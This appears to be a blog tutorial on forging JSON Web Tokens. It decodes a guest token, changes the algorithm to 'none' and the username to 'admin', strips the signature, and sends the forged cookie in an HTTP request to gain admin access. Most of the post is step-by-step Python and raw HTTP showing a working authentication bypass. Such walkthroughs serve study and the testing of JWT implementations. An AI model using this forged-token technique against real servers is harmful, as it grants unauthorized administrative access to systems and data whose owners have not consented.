Introduction
In this post we are going to manipulate JSON Web Tokens to gain unauthorized access. Click here to learn about the basics of JWT. In this scenario, we have a web server that restricts admin access but allows guest login using JWT. After obtaining the JWT for guest, we can modify the JWT to gain admin access.
JWT consists of three parts separated by "."
- Header
- Payload
- Signature
When we login as guest user we can see the HTTP header as following.
GET /access/index.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://example.com/access/index.php
Connection: close
Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk
Upgrade-Insecure-Requests: 1
The Cookie contains the JWT:
- Header = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
- Payload = eyJ1c2VybmFtZSI6Imd1ZXN0In0
- Signature = OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk
We check the composition of each components of the JWT as follows.
Header
>>> import base64
>>> encoded = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9'
>>> base64.urlsafe_b64decode(encoded)
b'{"typ":"JWT","alg":"HS256"}'
The header is Base64 URL encoded. After decoding:
Header = {"typ":"JWT","alg":"HS256"}
The first component is type whose value is JWT. The second component is the algorithm used whose value is HS256.
Payload
>>> encoded = 'eyJ1c2VybmFtZSI6Imd1ZXN0In0=='
>>> base64.urlsafe_b64decode(encoded)
b'{"username":"guest"}'
The payload contains the parameter username whose value is guest.
While decoding we have added "==" for padding. Otherwise we will receive Incorrect Padding error.
>>> encoded = 'eyJ1c2VybmFtZSI6Imd1ZXN0In0'
>>> base64.urlsafe_b64decode(encoded)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python3.8/base64.py", line 133, in urlsafe_b64decode
return b64decode(s)
File "/usr/lib/python3.8/base64.py", line 87, in b64decode
return binascii.a2b_base64(s)
binascii.Error: Incorrect padding
Signature
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)
The signature is caculated as given above. A secret key is used to encrypt the combination of header and payload in Base64 URL encoded form using HMACSHA256.
Modify JWT
Now we change the contents of Header and Payload.
Header
>>> decoded = b'{"typ":"JWT","alg":"none"}'
>>> base64.urlsafe_b64encode(decoded)
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0='
We have changed the value of algorithm to none.
Payload
>>> decoded = b'{"username":"admin"}'
>>> base64.urlsafe_b64encode(decoded)
b'eyJ1c2VybmFtZSI6ImFkbWluIn0='
Here, we have changed the value of username to admin.
The final HTTP request header when signing in as "admin" will be as follows which will allow us to gain admin access.
POST /access/index.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://example.com
Connection: close
Referer: http://example.com/access/index.php
Upgrade-Insecure-Requests: 1
Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIn0.
We have added the Cookie containing JWT:
Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIn0.
Also notice the " . " at the end of JWT. We have removed the Signature from the JWT as this will not be necessary.
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.